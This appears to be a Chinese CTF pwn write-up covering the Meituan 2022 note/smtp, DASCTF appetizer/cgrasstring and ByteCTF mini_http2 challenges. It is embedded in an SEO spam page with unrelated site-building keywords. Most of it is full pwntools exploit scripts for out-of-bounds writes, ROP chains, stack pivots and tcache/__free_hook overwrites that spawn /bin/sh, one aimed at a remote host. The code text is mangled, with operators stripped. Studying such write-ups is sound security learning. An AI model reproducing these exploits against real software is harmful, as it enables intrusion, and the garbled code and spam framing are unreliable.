当前位置: 首页 > news >正文

大连公司网站建设百度搜索排行榜

大连公司网站建设,百度搜索排行榜,wordpress分类信息模板,无锡百姓网免费发布信息网note(美团2022) 比较简单的越界漏洞#xff0c;堆本身并没有什么漏洞#xff0c;而且保护并没全开#xff0c;所以逆向思维。必然是ROP类而非指针类#xff0c;故我们着重注意unsigned int等无符号数前后是否不一致 int __fastcall edit(__int64 a1) {int idx; // [rsp14…note(美团2022) 比较简单的越界漏洞堆本身并没有什么漏洞而且保护并没全开所以逆向思维。必然是ROP类而非指针类故我们着重注意unsigned int等无符号数前后是否不一致 int __fastcall edit(__int64 a1) {int idx; // [rsp14h] [rbp-Ch]void *buf; // [rsp18h] [rbp-8h]printf(Index: );idx readInt();if ( idx 16 || !*(_QWORD *)(16LL * idx a1) )// 判断点,存在越界漏洞return puts(Not allowed);buf *(void **)(16LL * idx a1);printf(Content: );return read(0, buf, *(int *)(16LL * idx a1 8)); }这里其实存在两个越界一个是输入负数存在二级指针进而ROP获取权限第二个越界则为输入16则获取到一个悬空指针(但是没有什么用测试U20). from pwn import * context(log_leveldebug,oslinux,archamd64)binary ./note r process(binary) elf ELF(binary) libc elf.libcputs_plt elf.plt[puts] puts_got elf.got[puts] pop_rdi_ret 0x00000000004017b3 start_addr 0x0000000000401150 retn 0x000000000040157Fdef edit(idx,payload):r.sendlineafter(5. leave\n,3)r.sendlineafter(Index: ,str(idx))r.sendlineafter(Content: ,payload)pwndbg lambda t : gdb.attach(t) and pause()payload flat({0x8: pop_rdi_ret ,0x10: puts_got ,0x18: puts_plt ,0x20: start_addr }) sleep(0.3) edit(-6,payload)libc_base u64(r.recvuntil(b\x7f)[-6:].ljust(8,b\x00))-0x84420 pop_rsi_ret libc_base0x000000000002601f pop_rdx_ret libc_base0x0000000000142c92 system libc_baselibc.sym[system] binsh libc_base0x00000000001b45bdpayload flat([bbbbbbbbb,pop_rdi_ret,binsh,pop_rsi_ret,0,pop_rdx_ret,0,retn,system]) success(hex(libc_base)) #pwndbg(r) edit(-6,payload)r.interactive()smtp(美团2022)(未完 32位程序逻辑比较简单 while ( 1 ){v12 epoll_wait(epfd, events, 1, -1);for ( i 0; i v12; i ){if ( fd events[i].data.fd ){addr_len 128;client_sock accept(fd, addr, addr_len);// 接受客户端socket请求v1 (const void *)get_in_addr(addr);inet_ntop(addr.sa_family, v1, addr_ip, 0x2Eu);// 获取客户端ip地址printf(listener: got connection from %s\n, addr_ip);// 打印客户端ip地址arg malloc(0x14u);*(_DWORD *)arg client_sock; // 作为参数传入线程函数之中*((_DWORD *)arg 1) 0;pthread_create(newthread, 0, session_worker, arg);// 创建线程进行交互puts(listener: initiated a new session worker);}}}而漏洞必然是存在于session_worker函数之中因为该函数是于socket交互的函数如果存在溢出等异常大概率出现于此函数之中 DSACTF2022九月月赛 这次月赛比较简单没有什么难题 像appetizer(orw栈easy 这类题目以后就不再记录了因为太过于简单了 int __cdecl main(int argc, const char **argv, const char **envp) {__int64 stackOver; // [rsp0h] [rbp0h] BYREFinit();write(1, Welcome to CBCTF!\n, 0x12uLL);func();check();write(1, You are our VIP!So we will give you a VIP card!\n, 0x30uLL);printf(Here you are:%p\n, bss_jmp);write(1, And pls write your own information on it\n, 0x29uLL);read(0, bss_jmp, 0x108uLL); // ROPwrite(1, Tell me your wish:\n, 0x13uLL);read(0, stackOver, 0x10uLL); // 栈迁移即可return 0; }这道题目比较简单orw即可这里脚本之中没有写orw的payload需自行添加orw即可攻击(地址已经泄露但不想再写个orw了) import code from pwn import * context(log_leveldebug,oslinux,archamd64)binary ./appetizer r process(binary) elf ELF(binary) libc elf.libcpwngdb lambda t : gdb.attach(t) and pause()r.sendafter(identity\n,b\x01\x01p64(0x7373656C656D614E)) r.recvuntil(0x) jmp_addr int(r.recv(12),16) code_base jmp_addr-0x4050 main_addr code_base0x00000000000013A5 retn code_base0x146F leave_ret code_base0x13A3 pop_rdi_ret code_base0x00000000000014d3 read_got code_baseelf.got[read] write_got code_baseelf.got[write] puts_got code_baseelf.got[puts]one1 code_base0x14CA one2 code_base0x14B0pwngdb(r) payload flat([one1,0,1,1,puts_got,0x8,write_got,one2,0,0,1,0,jmp_addr,0x500,read_got,one2 ]) r.sendafter(on it\n,payload) r.sendafter(Tell me your wish:\n,p64(jmp_addr-8)p64(leave_ret)) libc_base u64(r.recv(8))-0x84420orw b r.send(orw)success(hex(code_base)) success(hex(libc_base))r.interactive()像其它的四道题目都也比较简单cyberprinter格式化字符串漏洞(虽然过滤了p、P、x、X但不妨碍我们利用)bar是个UAF直接泄露了地址cgrasstring是道C题目但底层依然是我们的malloceznote是个整数溢出但是这个整数安全比较隐蔽不容易发现 整体来说cgrasstring比较好毕竟是C 这里本地测试og不顶用(尽管使用了relloc偏移)故采用了劫持free_hook为system from pwn import * context(log_leveldebug,oslinux,archamd64)binary ./cgrasstring r process(binary) elf ELF(binary) libc elf.libcdef add(size,payloadb/bin/sh\x00):r.sendlineafter(Your choice:,1)r.sendlineafter(size:,str(size))r.sendafter(content:,payload)def edit(idx,size,payloadb\x00):r.sendlineafter(Your choice:,2)r.sendlineafter(idx,str(idx))r.sendlineafter(size,str(size))r.sendafter(content\n,payload)def show(idx):r.sendlineafter(Your choice:,3)r.sendlineafter(idx,str(idx)) pwndbg lambda t:gdb.attach(t) and pause() 神奇的BUG for i in range(9):add(0x80) for i in range(7):edit(i,0x90)add(0x20,ba) add(0x20,p64(0)p64(0x31)) add(0x20,bc) edit(0,0x30,b\xe0) add(0x20,bd*0x18p64(0x31)) one [0x4f2a5,0x4f302,0x10a2fc] one [0x4f2c5,0x4f322,0x10a38c] for i in range(9):add(0x80) edit(0,0x90,b\x70) edit(1,0x90,b\x00) edit(2,0x90,b\x90) edit(3,0x90,b\x20) edit(4,0x90,b\xb0) edit(5,0x90,b\x40) edit(6,0x90,b\xa0)show(6) hook u64(r.recvuntil(b\x7f)[-6:].ljust(8,b\x00))-96-0x20 libc_base hook-libc.sym[__malloc_hook]0x10 realloc libc_baselibc.symbols[__libc_realloc]#0x98C50 free_hook libc_baselibc.symbols[__free_hook] system libc_baselibc.symbols[system]add(0x20,b/bin/sh\x00)#9 edit(9,0x30,p64(free_hook)) #add(0x20,bb*8p64(libc_baseone[0])p64(realloc2)) add(0x20,p64(system)) success(hex(libc_base)) success(hex(hook)) pwndbg(r) #r.sendlineafter(Your choice:,1) #r.sendlineafter(size:,str(0x60)) r.sendlineafter(Your choice:,2) r.sendlineafter(idx,str(9)) r.sendlineafter(size,str(0xf0))r.interactive()mini_http2(byte2022签到) 需要一定的逆向能力以及高版本tcache攻击手法整体比较简答属于签到题目 针对note函数进行分析发现其中存在人为的hook以及存在着堆溢出漏洞 hook(__free_hook)函数: 存在堆溢出漏洞但却存在着\x00截断 如下攻击成功 from pwn import * context(log_leveldebug,oslinux,archamd64)binary ./pwn r process(binary) #r gdb.debug(./pwn,set debug-file-directory /home/pwn/tools/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/.debug/)CHALLENGE_ID f9d6161a9655d4851029079493bb7fe8 r remote(CHALLENGE_ID .2022.capturetheflag.fun, 1337, sslTrue)elf ELF(binary) libc elf.libcdef code1(size,choice):pay p8((size0xff0000)16)p8((size0xff00)8)p8(size0xff)pay p8(choice)b\x05\x00\x00\x00\x00return pay def code2(choice,size):pay p8(choice)b\x86\x44pay p8((size0xff000000)24)p8((size0xff0000)16)p8((size0xff00)8)p8(size0xff)return paydef admin_register(username,password):payloadb/register?busernamebytes(username.encode())bpasswordbytes(password.encode())btemp2code2(0x82,len(payload))payloadtemp1code1(len(temp2),1)#codetemp1temp2r.send(temp1)r.send(temp2)def admin_login(username,password):payloadb/login?busernamebytes(username.encode())bpasswordbytes(password.encode())btemp2code2(0x82,len(payload))payloadtemp1code1(len(temp2),1)#codetemp1temp2r.send(temp1)r.send(temp2)def admin_exit():payloadb/exittemp2code2(0x82,len(payload))payloadtemp1code1(len(temp2),1)#codetemp1temp2r.send(temp1)r.send(temp2)def add_workder(name,desc):payloadb/api/add_workertemp2code2(0x83,len(payload))payloadtemp1code1(len(temp2),1)#codetemp1temp2r.send(temp1)r.send(temp2)payloadb{\name\:\nameb\,\desc\:\descb\}temp1code1(len(payload),0)r.send(temp1)r.send(payload)def del_workder(idx):payloadb/api/del_workertemp2code2(0x83,len(payload))payloadtemp1code1(len(temp2),1)#codetemp1temp2r.send(temp1)r.send(temp2)payloadb{\worker_idx\:bytes(str(idx).encode())b}temp1code1(len(payload),0)r.send(temp1)r.send(payload)def show_workder(idx):payloadb/api/show_workertemp2code2(0x83,len(payload))payloadtemp1code1(len(temp2),1)#codetemp1temp2r.send(temp1)r.send(temp2)payloadb{\worker_idx\:bytes(str(idx).encode())b}temp1code1(len(payload),0)r.send(temp1)r.send(payload)def edit_workder(idx,new_name,new_desc):payloadb/api/edit_workertemp2code2(0x83,len(payload))payloadtemp1code1(len(temp2),1)#codetemp1temp2r.send(temp1)r.send(temp2)payloadb{\worker_idx\:bytes(str(idx).encode())b,\name\:\new_nameb\,\desc\:\new_descb\}temp1code1(len(payload),0)r.send(temp1)r.send(payload)sd lambda buf:pause() and r.send(buf) pwndbg lambda t: gdb.attach(t) and pause()#leak admin_register(/bin/sh,123) admin_login(/bin/sh,123) r.recvuntil(gift: \0x) libc_base int(r.recv(12),16)-0xC4200 free_hook libc_baselibc.sym[__free_hook] system libc_baselibc.sym[system] add_workder(b/bin/sh,b/bin/sh) # 0 r.recvuntil(0x) heap_base int(r.recv(12),16)-0x4D0-0x140 high_heap_addr (heap_base0xda0)12add_workder(ba*0xa0,bb*0xa0) # 1 add_workder(bc*0xa0,bd*0xa0) # 2 del_workder(2) # 2 edit_workder(1,be*0xa8b\x70\x02,bf*0xe0p64(high_heap_addr^(free_hook-0x98))[:6]) add_workder(blwd1,bg*0xa0) # 2 add_workder(blwd2,bh*0x98p64(system)[:6]) # 3 #edit_workder(3,blwd2,p64(system)[:6]) #add_workder(blwd3,bc*0x60) # 2 success(hex(heap_base)) success(hex(libc_base))pause() admin_exit()r.interactive()
http://www.sczhlp.com/news/255768/

相关文章:

  • 对红色网站建设的建议视频号最新动作
  • 岳阳网站搭建织梦网站反应速度慢
  • 做服装行业网站怎么每天更新内容手机视频制作软件排名
  • wordpress 导航站主题wordpress前台头像
  • 洛阳网站建设做的网站怎样适配手机屏幕
  • 东莞住建局官网网站花生壳域名做网站
  • 昌平网站建设哪家强响应式网站的排版
  • 外贸自己建网站建筑公司经营范围
  • 网站建设基础筹备昆明做网站vr
  • 网站建设与网络推广的关系wordpress 自定义logo
  • 申请手机网站百度主页网址
  • 宁波广告公司网站建设兼职会计
  • 企业运营管理流程图新乡seo顾问
  • 北京网站优化效果怎样怎样做网站宣传
  • 中山模板建站软件公司网站建设公
  • 北京手机网站开发费用观澜做网站公司
  • 用html5做的网站素材html网页生成
  • 小企业网站模板wordpress 头部优化
  • 凡科建站官网登dede模板蓝色大气简洁企业网站模板下载
  • 网站建设东莞长安镇做网站广告中敏感词会涉及到工商
  • 装修设计网站哪家好口碑好网站建设报价
  • 做爰全过程免费的视频网站有声音甘肃省城乡城乡建设厅网站首页
  • 汕头企业建站模板做网站导航cms
  • 做网站宁波湖北省城建设计院网站
  • 购物网站的设计与实现深圳网站建设计
  • 想要导航页推广(推广页)移动端网站如何优化
  • 网站开发下载那个验证码注册
  • 运城网站建设多少钱苏州工业园区公积金管理中心
  • 做盗版视频网站网站开发税收分类
  • 招聘网站建设技术要求合作社网站建设